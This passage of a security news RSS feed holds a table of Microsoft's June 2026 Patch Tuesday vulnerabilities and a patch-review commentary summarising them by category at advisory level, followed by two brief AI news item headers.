  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Did Chinese AI Steal From Anthropic, and OpenAI Loses Control of Two Models]]></title>
<description><![CDATA[On this episode of Uncanny Valley, we dive into accusations that China’s Moonshot AI stole from  Anthropic, and how the US Army needs to cut back on AI use.]]></description>
<link>https://tsecurity.de/de/3692245/it-nachrichten/did-chinese-ai-steal-from-anthropic-and-openai-loses-control-of-two-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692245/it-nachrichten/did-chinese-ai-steal-from-anthropic-and-openai-loses-control-of-two-models/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[On this episode of Uncanny Valley, we dive into accusations that China’s Moonshot AI stole from  Anthropic, and how the US Army needs to cut back on AI use.]]></content:encoded>
</item>
<item>
<title><![CDATA[You Didn’t Get the AI Model You Paid For]]></title>
<description><![CDATA[The line in the response object You call the API. You pass model: “claude-fable-5”. You get back a completion, a token count, and a field that reads “model”: “claude-opus-4-8”. Nothing errored. Nothing retried. The request was classified before generation began, matched a sensitive category, and ...]]></description>
<link>https://tsecurity.de/de/3689968/ai-nachrichten/you-didnt-get-the-ai-model-you-paid-for/</link>
